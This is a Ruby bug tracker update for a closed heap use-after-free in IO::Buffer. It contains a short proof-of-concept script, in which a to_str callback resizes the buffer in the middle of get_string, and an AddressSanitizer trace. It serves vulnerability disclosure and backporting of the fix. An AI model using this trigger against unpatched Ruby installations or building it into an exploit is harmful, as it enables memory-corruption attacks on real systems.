Issue #22336 has been updated by k0kubun (Takashi Kokubun). Backport changed from 3.3: WONTFIX, 3.4: DONE, 4.0: REQUIRED to 3.3: WONTFIX, 3.4: DONE, 4.0: DONE ruby_4_0 commit:8b1a10840a1be59dce777ba1cda1a412151abc43. ---------------------------------------- Bug #22336: IO:Buffer Heap uaf https://bugs.ruby-lang.org/issues/22336#change-119440 * Author: danielchong (Daniel Chong) * Status: Closed * ruby -v: 4.1.0-dev * Backport: 3.3: WONTFIX, 3.4: DONE, 4.0: DONE ---------------------------------------- Hello, a UAF is possible in IO:Buffer. PoC: ``` $buf = IO::Buffer.new(64) evil = Object.new def evil.to_str $buf.resize(64 * 1024 * 1024) "UTF-8" end $buf.get_string(0, 32, evil) ``` ASAN (truncated): ``` ERROR: AddressSanitizer: heap-use-after-free ... READ of size 32 #3 str_enc_new string.c:1109 #4 io_buffer_get_string io_buffer.c:3276 <- USE (read from stale base) freed by thread T0 here: #0 realloc #1 rb_io_buffer_resize io_buffer.c:2203 <- FREE (realloc move) #2 io_buffer_resize io_buffer.c:2249 ... #16 rb_str_to_str string.c:1818 #18 name_for_encoding encoding.c:296 #20 rb_find_encoding encoding.c:345 #21 io_buffer_get_string io_buffer.c:3266 <- reentrancy boundary (encoding to_str) previously allocated by thread T0 here: #0 calloc #1 io_buffer_initialize io_buffer.c:216 <- original 64-byte INTERNAL buffer ``` -- https://bugs.ruby-lang.org/